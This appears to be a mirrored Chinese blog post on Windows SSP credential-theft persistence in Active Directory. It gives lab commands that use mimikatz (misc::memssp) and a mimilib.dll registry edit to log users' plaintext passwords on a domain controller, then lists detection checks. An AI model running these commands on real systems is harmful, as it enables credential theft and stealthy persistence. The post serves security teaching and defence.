zoukankan      html  css  js  c++  java
  • AD域SSP安全防护

    一、简介
      SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
      SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。
    如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。
     
    二、实验操作
    实验一:
    使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
    privilege::debug
    misc::memssp
    注销当前用户重新登录,即可获取明文密码,密码存储在日志文件C:Windowssystem32mimilsa.log中。type C:Windowssystem32mimilsa.log
     
    实验二:
    将mimikatz中的mimilib.dll 放到系统的C:Windowssystem32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。
    copy mimilib.dll %systemroot%system32
    reg query hklmsystemcurrentcontrolsetcontrollsa /v "Security Packages"
    reg add "hklmsystemcurrentcontrolsetcontrollsa" /v "Security Packages" /d "kerberosmsv1_0schannelwdigesttspkgpku2umimilib" /t REG_MULTI_SZ
    注意:最后一步修改注册表需要在powershell中操作,cmd下会报错。
    查看注册表hklmsystemcurrentcontrolsetcontrollsaSecurity Packages项的值。
    系统重启后,若dll被成功加载,用户在登录时输入的账号和密码明文就会被记录在C:Windowssystem32kiwissp.log中。
    type C:Windowssystem32kiwissp.log
     
    三、安全防御措施
    1.检查注册表hklmsystemcurrentcontrolsetcontrollsaSecurity Packages位置是否存在可疑dll。
    2.检测%windir%System32 是否有可疑 dll
    3.使用第三方工具 Autoruns 检测 LSA中是否存在可疑dll。
  • 相关阅读:
    HTTP的KeepAlive是开启还是关闭?
    JS中关于in运算符的问题
    关于jQuery的inArray 方法介绍
    JS中括号的用法
    关于js中for in的缺陷浅析
    Ajax datatype:'JSON'的error问题Status1:200,JSON格式
    windows 如何查看端口占用情况?
    确认过眼神,看清 HTTP 协议
    高考完?入门级的开源项目带你开启编程之旅
    MongoDB入门系列(四):权限管理
  • 原文地址:https://www.cnblogs.com/micr067/p/12331554.html
Copyright © 2011-2022 走看看